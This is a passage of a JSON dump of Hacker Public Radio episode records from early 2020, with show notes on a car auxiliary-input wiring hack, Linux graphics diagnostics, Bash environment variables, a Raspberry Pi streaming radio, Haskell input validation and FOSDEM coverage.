                                                            \n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub","version":0,"downloads":0,"valid":1}, {"id":3006,"date":"2020-02-10","title":"Hijack Auxiliary Input of your car!","duration":2159,"summary":"I talk about my Q40 and getting Auxiliary Input when your car does not have one","notes":"

                                                            https://www.myg37.com/forums/audio-video-and-electronics/285929-2015-infiniti-q40-4dr-with-crap-audio.html

                                                            \n

                                                            https://rmccurdy.com/.scripts/downloaded/www.nicoclub.com/FSM/Q40/2015%20Q40/

                                                            \n

                                                            Updated: Solved: The audio could use a dac or something nice but this will do. Not (DO NOT PLUG IN THE HARNESS WRONG ORDER OR YOU WILL BLOW AT LEAST 4 FUSES ) I had to swap out 3 in the passenger side and 1 for the rear lights on the IPDM E/R next to the battery in a #@$% spot.

                                                            \n

                                                            pulled the pins and soldered a audio jack to them and fed it though the AC vent :

                                                            \n

                                                            pin 1 - G : Satellite radio sound signal LH pin 2 + R : Satellite radio sound signal LH pin 3 - w : Satellite radio sound signal RH pin 4 + b : Satellite radio sound signal RH

                                                            \n

                                                            Reference:

                                                            \n\n

                                                            NOT SOLVED 08/21/2019 : So I'm sick of this jank setup .. the software is wonky and works about 1/2 the time .. I have to ƒ@#$ with it for about 5-10 min every time I want to use it … WIRELINQ is crap.. and I don't want the 600$ BT mod .. I just want AUX in !! I dont care if CD or SAT is spliced!

                                                            \n
                                                              \n
                                                            • NO I'm not using a Apple device ..
                                                            • \n
                                                            • NO I'm not going BT because its crap audio ..
                                                            • \n
                                                            • NO I'm not using MONO or anything like that (discord) because that's even worse then BT…
                                                            • \n
                                                            • NO I'm not using a FM Transmitter because that's just stupid its a 2015 car it should have AUX input ..
                                                            • \n
                                                            \n

                                                            maybe I can hack it myself the issue is that the SAT is in the @^ing trunk .. so I would have to find the wires that go to the trunk. I use a long speaker wire with alligator clips on it and a continuity tester (volt meter ) to hunt for it …

                                                            \n

                                                            Part No
                                                            \n2591a 1ma5e

                                                            \n

                                                            Model No
                                                            \ncv-vn01e04d

                                                            \n

                                                            \"11 12 Infiniti G25 G37 Radio CD Player 2591A-1MA5E Bulk 711\"

                                                            \n

                                                            SOLVED 01/20/2018 : YAY ! this works and I dont have to have grap BT audio

                                                            \n
                                                              \n
                                                            • 2015 INFINITI Q40 NONAV ANDROID
                                                            • \n
                                                            • IPOD WIRELINQ GROM-WLQ
                                                            • \n
                                                            • Electop 2 Pack USB 2.0 A Female to USB Micro Female Adapter Converter
                                                            • \n
                                                            • Wsken Mini2 Micro USB Magnetic LED Display Data Sync Fast Charge 3.28ft Cable for Android (Silver)
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Car Audio,DIY,music,cars,auto","version":0,"downloads":0,"valid":1}, {"id":3007,"date":"2020-02-11","title":"Photography 101","duration":1468,"summary":"I tell you everything I know about the basics of photography","notes":"

                                                            Links

                                                            \n\n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Photography 101,digital,film,camera","version":0,"downloads":0,"valid":1}, {"id":3008,"date":"2020-02-12","title":"2019-2020 New Year Show Episode 5","duration":7013,"summary":"Eighth Annual New Year Show: war stories and more war stories","notes":"

                                                            Hacker Public Radio 2019-20 New Year Show Episode 5

                                                            \n

                                                            01:40 - 07:20 EST (09:40 - 12:20 UTC)

                                                            \n
                                                              \n
                                                            • More war stories, podcasts, lawn mowing
                                                            • \n
                                                            • Timezones, Daylight Savings Time
                                                            • \n
                                                            • Antique computers - PDP, VAX, distro talk
                                                            • \n
                                                            • NAS discussion, EU politics
                                                            • \n
                                                            • Urugami joins
                                                            • \n
                                                            • Mongo joins
                                                            • \n
                                                            • Texas geography
                                                            • \n
                                                            • Motorcycles
                                                            • \n
                                                            • War stories
                                                            • \n
                                                            • NASA
                                                            • \n
                                                            • More war stories, podcasts, lawn mowing
                                                            • \n
                                                            • Timezones, Daylight Savings Time
                                                            • \n
                                                            • Antique computers - PDP, VAX, distro talk
                                                            • \n
                                                            • NAS discussion, EU politics
                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"2019-20 New Year Show","version":0,"downloads":0,"valid":1}, {"id":3009,"date":"2020-02-13","title":"Linux Inlaws S01E01","duration":3570,"summary":"Linux Inlaws - a podcast about on topics around free and open source software","notes":"

                                                            Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.

                                                            \n

                                                            Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute t-rexes or other associated dinosaurs.

                                                            \n\n

                                                            \nIn this show the lads introduce themselves and discuss the technology they use and why they are putting on the show.\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY","tags":"free open source software revolution","version":0,"downloads":0,"valid":1}, {"id":3010,"date":"2020-02-14","title":"FOSDEM first impressions","duration":1638,"summary":"Impressions from my first attendance at FOSDEM.","notes":"

                                                            FOSDEM is the biggest Free and Open Source conference in the world and on its 20th anniversary I decided to attend for the first time. By a good turn of fate, and some well-judged pitching, Ken Fallon secured a stand for the Free Culture Podcasts project which is an umbrella group that covers HPR, many of the shows on The Other Side Network and many more excellent podcasts that are released under creative commons licenses.

                                                            \n\n

                                                            This audio is recorded in snippets in between manning the stand and gives some off-the-cuff observations from a FOSDEM noob. I was surprised to find that relatively few visitors to our stand had heard of HPR, which we quickly rectified of course, and I give a brief summary of the feedback we received. Also mentioned in this show, but not actually appearing, are my co-conspirators at FOSDEM, Ken, Beni, JWP as well as Dave Morriss who unfortunately wasn't able to join us in person but was very much there in spirit.

                                                            \n\n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fosdem,conference,podcasts,creative commons","version":0,"downloads":0,"valid":1}, {"id":3011,"date":"2020-02-17","title":"Linux is HARD rant with Intel graphics","duration":1228,"summary":"I go over my issues around Linux in general specifically Video issues","notes":"

                                                            Help me help you! I rant about linux and Video drivers etc …

                                                            \n

                                                            Get Video and CPU Info
                                                            \nchrome://gpu

                                                            \n
                                                            # gives you info about video GPU in chrome!\nchrome://gpu
                                                            \n

                                                            phoronix-test-suite system-info

                                                            \n
                                                            # neat little project to dump out all kinds of info\nphoronix-test-suite system-info
                                                            \n
                                                            # get hard disk temperatures !\n\nhddtemp /dev/sdb\n/dev/sdb: WDC WD4003FZEX-00Z4SA0: 37°C\nhddtemp /dev/sdc\n/dev/sdc: WDC WD4003FZEX-00Z4SA0: 36°C
                                                            \n

                                                            vainfo - display information from VA API driver

                                                            \n

                                                            lspci specific device

                                                            \n
                                                            lspci -v -s 00:02.0\n00:02.0 VGA compatible controller: Intel Corporation UHD Graphics 630 (Desktop) (prog-if 00 [VGA controller])\n        Subsystem: ASRock Incorporation Device 3e92\n        Flags: bus master, fast devsel, latency 0, IRQ 126\n        Memory at a0000000 (64-bit, non-prefetchable) [size=16M]\n        Memory at 90000000 (64-bit, prefetchable) [size=256M]\n        I/O ports at 4000 [size=64]\n        [virtual] Expansion ROM at 000c0000 [disabled] [size=128K]\n        Capabilities: [40] Vendor Specific Information: Len=0c <?>\n        Capabilities: [70] Express Root Complex Integrated Endpoint, MSI 00\n        Capabilities: [ac] MSI: Enable+ Count=1/1 Maskable- 64bit-\n        Capabilities: [d0] Power Management version 2\n        Capabilities: [100] Process Address Space ID (PASID)\n        Capabilities: [200] Address Translation Service (ATS)\n        Capabilities: [300] Page Request Interface (PRI)\n        Kernel driver in use: i915\n        Kernel modules: i915\nlshw\n#  lshw is a small tool to extract detailed information on the hardware configuration of the machine\n\nlshw -c video\n  *-display\n       description: VGA compatible controller\n       product: UHD Graphics 630 (Desktop)\n       vendor: Intel Corporation\n       physical id: 2\n       bus info: pci@0000:00:02.0\n       version: 00\n       width: 64 bits\n       clock: 33MHz\n       capabilities: pciexpress msi pm vga_controller bus_master cap_list rom\n       configuration: driver=i915 latency=0\n       resources: irq:126 memory:a0000000-a0ffffff memory:90000000-9fffffff ioport:4000(size=64) memory:c0000-dffff
                                                            \n

                                                            glxinfo

                                                            \n

                                                            The glxinfo program shows information about the OpenGL and GLX implementations running on a given X display.

                                                            \n
                                                            glxinfo | egrep -i 'device|memory|OpenGL|direct'
                                                            \n

                                                            dmesg

                                                            \n
                                                            dmesg | grep -e IOMMU -e DMAR\n\ndmesg | grep -E 'drm|radeon' | grep -iE 'firmware|microcode'\ndmesg | grep -i -e i915 -e drm -e vga
                                                            \n

                                                            dmidecode - DMI table decoder

                                                            \n
                                                            dmidecode -t baseboard | grep -i 'Product'
                                                            \n

                                                            GPU usage

                                                            \n
                                                            apt-get install intel-gpu-tools | intel_gpu_top
                                                            \n

                                                            Google Dorks

                                                            \n
                                                              \n
                                                            • when googleing try -ubuntu -xubuntu
                                                            • \n
                                                            • when searching for start up stuff use ‘systemd’ in your query
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux,video,DIY,xbmc,kodi,ubuntu,debian","version":0,"downloads":0,"valid":1}, {"id":3012,"date":"2020-02-18","title":"Sample episode from Wikipediapodden","duration":518,"summary":"An English microsode of their Swedish language podcast about Wikipedia.","notes":"

                                                            \nJan Ainali from the https://wikipediapodden.se/ podcast came over to the https://freeculturepodcasts.org/ booth at FOSDEM 2020.\n

                                                            \n

                                                            \nThey do a Swedish Language Podcast about wikipedia et al, and of course we added them to the https://freeculturepodcasts.org/ site. While their main shows are in Swedish, they also have summaries that they do in English which can be found at https://wikipediapodden.se/tag/english/, (RSS Feed).\n

                                                            ","hostid":30,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"fosdem, wikipediapodden, swedish, sweden","version":0,"downloads":0,"valid":1}, {"id":3013,"date":"2020-02-19","title":"Bash Tips - 21","duration":2497,"summary":"Environment variables","notes":"

                                                            The Environment (More collateral Bash tips)

                                                            \n

                                                            Overview

                                                            \n

                                                            You will probably have seen references to The Environment in various contexts relating to shells, shell scripts, scripts in other languages and compiled programs.

                                                            \n

                                                            In Unix and Unix-like operating systems an environment is maintained by the shell, and we will be looking at how Bash deals with this in this episode. When a script, program or subprocess is invoked it is given an array of strings called the environment. This is a list of name-value pairs, of the form name=value.

                                                            \n

                                                            Using the environment

                                                            \n

                                                            The environment is used to convey various pieces of information to the executing script or program. For example, two standard variables provided by the shell are 'HOME', which is set to the current user’s home directory and 'PWD, set to the current working directory. The shell user can set, change, remove and view environment variables for their own purposes as we will see in this episode. The Bash shell itself creates and in some cases manages environment variables.

                                                            \n

                                                            The environment contains global data which is passed down to subprocesses (child processes) by copying. However, it is not possible for a subprocess to pass information back to the superior (parent) process.

                                                            \n

                                                            Viewing the environment

                                                            \n

                                                            You can view the environment in a number of ways.

                                                            \n
                                                              \n
                                                            • From the command line the command printenv can do this (this is usually but not always a stand-alone command: it’s /usr/bin/printenv on my Debian system). We will look at this command later.

                                                            • \n
                                                            • The command env without any arguments does the same thing as printenv without arguments. This is actually a tool to run a program in a modified environment which we will look at later. The environment printing capability can be regarded as more of a bonus feature.

                                                            • \n
                                                            • Scripting languages like awk (as well as Python and Perl, to name just a few) can view and manipulate the environment.

                                                            • \n
                                                            • Compiled languages such as C can do this too of course.

                                                            • \n
                                                            • There are other commands that will show the environment, and we will look at some of these briefly.

                                                            • \n
                                                            \n

                                                            Changing variables in the environment

                                                            \n

                                                            The variables in the environment are not significantly different from the shell parameters we have seen throughout this Bash Tips series. The only difference is that they are marked for export to commands and sub-shells. You will often see variables (or parameters) in the environment referred to as environment variables. The Bash manual makes a distinction between ordinary parameters (variables) and environment variables, but many other sources are less precise about this in my experience.

                                                            \n

                                                            The standard variables in the environment have upper-case names (HOME, SHELL, PWD, etc), but there is no reason why a variable you create should not be in lower or mixed case. In fact, the Bash manual suggests that you should avoid using all upper-case names so as not to clash with Bash’s variables.

                                                            \n

                                                            Variables can be created and changed a number of ways.

                                                            \n
                                                              \n
                                                            • They can be set up at login time (globally or locally) through various standard configuration files. It is intended to look at this subject in an upcoming episode so we will leave discussing the subject until then.
                                                            • \n
                                                            • By preceding the command or script invocation with name=value expressions which will temporarily place these variables into the environment for the command
                                                            • \n
                                                            • Using the export command
                                                            • \n
                                                            • Using the declare command with the -x option
                                                            • \n
                                                            • The value of an environment variable (once established) can be changed at any time in the sub-shell with a command like myvar=42, just as for a normal variable
                                                            • \n
                                                            • The export command can also be used to turn off the export marker on a variable
                                                            • \n
                                                            • Deletion is performed with the unset command (as seen earlier in the series)
                                                            • \n
                                                            \n

                                                            We will look at all of these features in more detail later in the episode.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,variable,environment,environment variable","version":0,"downloads":0,"valid":1}, {"id":3014,"date":"2020-02-20","title":"A Headless Raspberry Pi Streaming Radio","duration":1068,"summary":"I use a Raspberry Pi to make a streaming radio device for my pillow speaker.","notes":"

                                                            In this episode I talk about how I used a Raspberry Pi to create a streaming radio device to feed my pillow speaker. This is something I used to do with clock radios and later a satellite radio, but in an effort to decrease monthly subscription costs for services I did not use optimally, I discontinued my satellite radio subscription about a year ago. This new free solution is an excellent substitute for Satellite Radio so far, since I was mostly listening to this same channel on the Sat Radio but paying about $12 a month for the privilege. The device I’m using is a Raspberry Pi 2 Model B with Ubuntu Server. My barrier to this project in the past was not being able to find the URL for the stream I wanted but I discovered you can find it easily if you use Firefox with Video Download Helper to reveal the URL on a page with media playing (in this case it’s from TuneIn):

                                                            \n\n
                                                            https://XX.XXX.XXX.XXX/radio-stationmp3-48?session-id=af1b271fefba04b650f8e253c6b253bd&source=TuneIn\n
                                                            \n\n

                                                            Strip off everything after the 48 to get raw URL:

                                                            \n\n
                                                            https://XX.XXX.XXX.XXX/radio-stationmp3-48\n
                                                            \n\n

                                                            Command to play stream with mpg123 on the Pi. Using the -q option to suppress output:

                                                            \n\n
                                                            mpg123-pulse -q https://XX.XXX.XXX.XXX/radio-stationmp3-48 &\n
                                                            \n\n

                                                            Once I figure out the command that plays the stream I want, I save the command as an executable script in /home/$user/bin.

                                                            \n\n

                                                            Using the “Radio”

                                                            \n\n

                                                            To start playing a stream you first have to SSH into the RasPi. This is easy from a laptop using any terminal emulator. I use pubkey auth so I don’t have to type a password every time. On my phone I use ConnectBot. Once I’m into the Pi I run the radio commands from CLI like espn or kmfa or krvs. To stop playback I kill the process with pkill mpg. I have a 3.5mm audio splitter Plugged into the headphone jack of the USB audio interface. In one side of the splitter I’ve got an old pair of earbuds where one side didn’t work, with the working earbud under my pillow. That’s my pillow speaker. On the other side of the splitter I put the audio cable for an FM transmitter, so that I can use an FM radio to listen to the stream while I’m walking around the house.

                                                            \n\n

                                                            Click the image below to see pictures of the setup.

                                                            \n\n

                                                            \"Raspberry

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, Internet Radio, Streaming Radio, Radio, Streaming Audio, Ubuntu, Ubuntu Server","version":0,"downloads":0,"valid":1}, {"id":3015,"date":"2020-02-21","title":"ActivityPub Conference 2019 - The Semantic Social Network","duration":438,"summary":"ActivityPub Conference 2019, building a Semantic Social Network","notes":"

                                                            The ActivityPub Conference of 2019 was held in Prague. This is about a talk using ActivityPub to create the Semantic Social Network. https://www.zwilnik.com/?page_id=1086

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub","version":0,"downloads":0,"valid":1}, {"id":3016,"date":"2020-02-24","title":"Nixie tube clock and friends!","duration":874,"summary":"I chat about Novice Nixie tubes and tronics soldering etc","notes":"

                                                            Nixie tube (English: /ˈnɪk. siː/ NIK-see), or cold cathode display, is an electronic device for displaying numerals or other information using glow discharge.

                                                            \n

                                                            https://www.tindie.com/products/robg/msp430-nixie-clock-kit/

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY,nixie tube,LED,electronics ","version":0,"downloads":0,"valid":1}, {"id":3017,"date":"2020-02-25","title":"Developing Black and White Film","duration":2544,"summary":"Join me as I develop my first roll of black and white film since over 30 years ago.","notes":"

                                                            My photos will be available at: https://pquirk.com

                                                            \n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Photography,film,developing,black and white","version":0,"downloads":0,"valid":1}, {"id":3018,"date":"2020-02-26","title":"Encrypted edit","duration":1234,"summary":"Klaatu talks about editing and viewing encrypted files in a tmpfs in RAM","notes":"\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"GPG, privacy","version":0,"downloads":0,"valid":1}, {"id":3019,"date":"2020-02-27","title":"Linux Inlaws S01E02 FOSDEM shenanigans","duration":3929,"summary":"Linux Inlaws - a podcast about on topics around free and open source software","notes":"

                                                            Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.

                                                            \n

                                                            Links:

                                                            \n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"free open source software, revolution, FLOSS","version":0,"downloads":0,"valid":1}, {"id":3020,"date":"2020-02-28","title":"Validating data in Haskell","duration":1500,"summary":"Tuula talks about wow to validate incoming http request before acting on them","notes":"

                                                            Background

                                                            \n

                                                            The space game I working on needs a admin interface that can by used by game masters to view and modify the simulation.

                                                            \n

                                                            For start, I added interface for viewing, modifying and creating new people. It has three HTTP endpoints that are defined below. In this episode, I’ll concentrate on creating a new person and especially making sure that parameters used are valid.

                                                            \n
                                                            /api/admin/people              AdminApiPeopleR     GET\n/api/admin/people/#PersonId    AdminApiPersonR     GET PUT\n/api/admin/addPerson           AdminApiAddPersonR  POST
                                                            \n

                                                            Types and parsing

                                                            \n

                                                            There are two important approaches on making sure that data is valid. Making illegal state unpresentable and parsing instead of validation.

                                                            \n

                                                            If it’s impossible to create invalid data, you don’t have to validate it. Instead of using Integer and checking that given parameter is 0 or more, you should use Natural. Since Natural can’t have negative values, you don’t have to validate it. Similarly, instead of using a list, you could use NonEmpty to make sure that there’s at least one element present in the collection.

                                                            \n

                                                            Parse, don’t validate is similar approach. Instead of having a lax parser and then validating the result, parser should reject data that doesn’t make sense. By selecting suitable datatypes to represent data in the system, simply parsing incoming message is sometimes enough to validate it at the same time.

                                                            \n

                                                            Person creation

                                                            \n

                                                            Function in charge of generating a new person has signature of generatePersonM :: RandomGen g => StarDate -> PersonOptions -> Rand g Person. Given a current StarDate and PersonOptions describing what kind of person is needed, it will return a computation that can be executed to generate a random person.

                                                            \n

                                                            PersonOptions is very barebones. There’s only one field to tell what kind of age the person should have and even that is an optional field.

                                                            \n
                                                            data PersonOptions = PersonOptions\n    { personOptionsAge :: Maybe AgeOptions\n    } deriving (Show, Read, Eq)
                                                            \n

                                                            AgeOptions has two possibilities. AgeBracket describes case where age should be inside of given range. ExactAge specifies exactly what age should be.

                                                            \n
                                                            data AgeOptions =\n    AgeBracket Age Age\n    | ExactAge Age\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Age is newtype wrapping Natural, thus Age can never be less than zero.

                                                            \n
                                                            newtype Age = Age { unAge :: Natural }\n    deriving (Show, Read, Eq, Num, Ord)
                                                            \n

                                                            Hand written FromJSON instance takes care of rejecting numbers that aren’t integers and at least zero. One could skip the checks here and parsed Age still couldn’t be negative. Advantage of explicit checks is that we get much nicer error message instead of just annoying runtime exception.

                                                            \n
                                                            instance FromJSON Age where\n    parseJSON =\n        withScientific "age"\n            (\\x -> case toBoundedInteger x of\n                Nothing ->\n                    mempty\n\n                Just n ->\n                    if n >= 0 then\n                        return $ Age $ fromIntegral (n :: Int)\n\n                    else\n                        mempty)
                                                            \n

                                                            So, when creating a new person, you can have:

                                                            \n
                                                              \n
                                                            • no age options at all, computer can pick something
                                                            • \n
                                                            • specific age, computer calculates date of birth based on current date
                                                            • \n
                                                            • age bracket, computer calculates date of birth based on current date and bracket
                                                            • \n
                                                            • age is always integer that is 0 or more
                                                            • \n
                                                            \n

                                                            There’s still possibility of error. Nothing ensure that age bracket makes sense. It could be AgeBracket (Age 10) (Age 5) (bracket from 10 to 5). We need to add a bit of validation.

                                                            \n

                                                            Data.Validation is “a data-type like Either but with an accumulating Applicative”. What this means to me is that I can validate multiple aspects and collect errors in a list. It’s handy for getting all the problems at once, instead of having to fix them one by one and retry after each fix.

                                                            \n

                                                            Our validation function has signature validateAddPerson :: PersonOptions -> Validation [ErrorCode] PersonOptions. Given PersonOptions, it will give list of ErrorCode and original PersonOptions. Multiple validation functions can be combined for more complex validations.

                                                            \n

                                                            In our example validateAgeOptions validates only age related options of the data. validateAddPerson is supposed to validate whole data, but currently it just delegates to validateAgeOptions. In the future, we can add more validations by adding more functions and chaining them with <* operator.

                                                            \n
                                                            validateAddPerson :: PersonOptions -> Validation [ErrorCode] PersonOptions\nvalidateAddPerson opt =\n        pure opt\n            <* validateAgeOptions opt\n\nvalidateAgeOptions :: PersonOptions -> Validation [ErrorCode] PersonOptions\nvalidateAgeOptions opt =\n    case personOptionsAge opt of\n        Nothing ->\n            _Success # opt\n\n        Just (AgeBracket a b) ->\n            if a <= b\n                then _Success # opt\n                else _Failure # [ AgeBracketStartIsGreaterThanEnd ]\n\n        Just (ExactAge _) ->\n            _Success # opt
                                                            \n

                                                            Putting it all together

                                                            \n

                                                            Function that handles POST message and creates a new person is shown below:

                                                            \n
                                                            postAdminApiAddPersonR :: Handler Value\npostAdminApiAddPersonR = do\n    _ <- apiRequireAdmin\n    msg <- requireJsonBody\n    date <- runDB $ starDate\n    _ <- raiseIfFailure $ validateAddPerson msg\n    g <- liftIO newStdGen\n    let person = evalRand (generatePersonM date msg) g\n    pId <- runDB $ insert person\n    returnJson (Entity pId person)
                                                            \n

                                                            It does several things: - check that current user is admin - get json content and parse it to PersonOptions - get current star date from database - validate PersonOptions and return error if validation fails - get new random number generator - generate new person - insert it into database - return tuple of (PersonId, Person)

                                                            \n

                                                            Closing

                                                            \n

                                                            Types should represent only valid states. By having invalid state unpresentable, we can avoid many errors. Likewise, parsing should reject invalid data. This usually follows from having invalid states being unpresentable (you can’t parse invalid message to invalid data if you don’t have way to represent that invalid data).

                                                            \n

                                                            Questions, comments and feedback welcome. Best way to reach me is either by email or in mastodon, where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"validation, algebraic data types, json","version":0,"downloads":0,"valid":1}, {"id":3021,"date":"2020-03-02","title":"HPR Community News for February 2020","duration":3272,"summary":"Call for shows is open. Ken and eventually Dave discuss the shows, media and development plans.","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n monochromec.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3001Mon2020-02-03HPR Community News for January 2020HPR Volunteers
                                                            3002Tue2020-02-04World of Commodore 2019 Episode 8: Vote of thanksPaul Quirk
                                                            3003Wed2020-02-05Hacker Public Radio 2019 2020 New Year Show Episode 4Kevin Wisher
                                                            3004Thu2020-02-06Fixing simple audio problems with AudacityDave Morriss
                                                            3005Fri2020-02-07Is ActivityPub Paving The Way to Web 3.0?Ahuka
                                                            3006Mon2020-02-10Hijack Auxiliary Input of your car!operat0r
                                                            3007Tue2020-02-11Photography 101Paul Quirk
                                                            3008Wed2020-02-12Hacker Public Radio 2019-20 New Year Show Episode 5Kevin Wisher
                                                            3009Thu2020-02-13Linux Inlaws S01 E01monochromec
                                                            3010Fri2020-02-14FOSDEM first impressionsAndrew Conway
                                                            3011Mon2020-02-17Linux is HARD rant with Intel graphicsoperat0r
                                                            3012Tue2020-02-18Sample episode from WikipediapoddenKen Fallon
                                                            3013Wed2020-02-19Bash Tips - 21Dave Morriss
                                                            3014Thu2020-02-20A Headless Raspberry Pi Streaming RadioJon Kulp
                                                            3015Fri2020-02-21ActivityPub Conference 2019 - The Semantic Social NetworkAhuka
                                                            3016Mon2020-02-24Nixie tube clock and friends!operat0r
                                                            3017Tue2020-02-25Developing Black and White FilmPaul Quirk
                                                            3018Wed2020-02-26Encrypted editklaatu
                                                            3019Thu2020-02-27Linux Inlaws S01E02 FOSDEM shenanigansmonochromec
                                                            3020Fri2020-02-28Validating data in HaskellTuula
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n2 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 13 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr3002\n(2020-02-04) \"World of Commodore 2019 Episode 8: Vote of thanks\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2020-02-18:\n\"Thanks for the series\"

                                                              \n
                                                            • hpr3003\n(2020-02-05) \"Hacker Public Radio 2019 2020 New Year Show Episode 4\"\nby Kevin Wisher.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfolky on 2020-02-20:\n\"Dark reader\"

                                                              \n
                                                            • hpr3008\n(2020-02-12) \"Hacker Public Radio 2019-20 New Year Show Episode 5\"\nby Kevin Wisher.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2020-02-26:\n\"These 2 guys should get together more often\"

                                                              \n
                                                            • hpr3009\n(2020-02-13) \"Linux Inlaws S01 E01\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2020-02-15:\n\"Mailing list Discussion\"
                                                              • Comment 2:\nKen Fallon on 2020-02-15:\n\"Murmer/Mumble\"
                                                              • Comment 3:\nPeter Mortensen on 2020-02-19:\n\"The predecessor?\"
                                                              • Comment 4:\nChris on 2020-02-19:\n\"LinuxInlaws\"

                                                              \n
                                                            • hpr3013\n(2020-02-19) \"Bash Tips - 21\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncrvs on 2020-02-24:\n\"So that's how you use shebangs!\"
                                                              • Comment 2:\nDave Morriss on 2020-02-24:\n\"Writing awk scripts\"

                                                              \n
                                                            • hpr3014\n(2020-02-20) \"A Headless Raspberry Pi Streaming Radio\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2020-02-20:\n\"Trying this tonight\"
                                                              • Comment 2:\nJon Kulp on 2020-02-20:\n\"Still Streaming with URL Update\"
                                                              • Comment 3:\nMr. Young on 2020-02-20:\n\"Issue with mpg123\"
                                                              • Comment 4:\nJon Kulp on 2020-02-21:\n\"HTTP not HTTPS\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-February/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nClaudio Miranda, Windigo, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 16 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3022,"date":"2020-03-03","title":"FOSDEM 2020 Stand Interviews","duration":5578,"summary":"Interviews with some of the stands at FOSDEM 2020","notes":"

                                                            Table of Contents

                                                            \n\n\n\n

                                                            Previously Interviewed Projects

                                                            \n\n\n

                                                            Projects we did not get to Interview (yet)

                                                            \n\n\n

                                                            0 A.D.

                                                            \n

                                                            \"Logo\"

                                                            \n
                                                            \n0 A.D. is a free and open-source, real-time strategy game under development by Wildfire Games. It is a historical war and economy game focusing on the years between 500 BC and 1 BC for the first part, and a planned second part for the years 1 AD to 500 AD. The game is cross-platform, playable on Windows, macOS, FreeBSD, Linux, and OpenBSD. It aims to be entirely free and open-source, using the GPLv2+ license for the game engine and CC BY-SA for the game art. \n
                                                            \n\n
                                                            \nWildfire Games is a global group of volunteer game developers. We create open source games and mods.\n
                                                            \n

                                                            Listen to the interview with Stanislas Dolcini from 0 A.D.

                                                            \n

                                                            \"headshot\"

                                                            \n

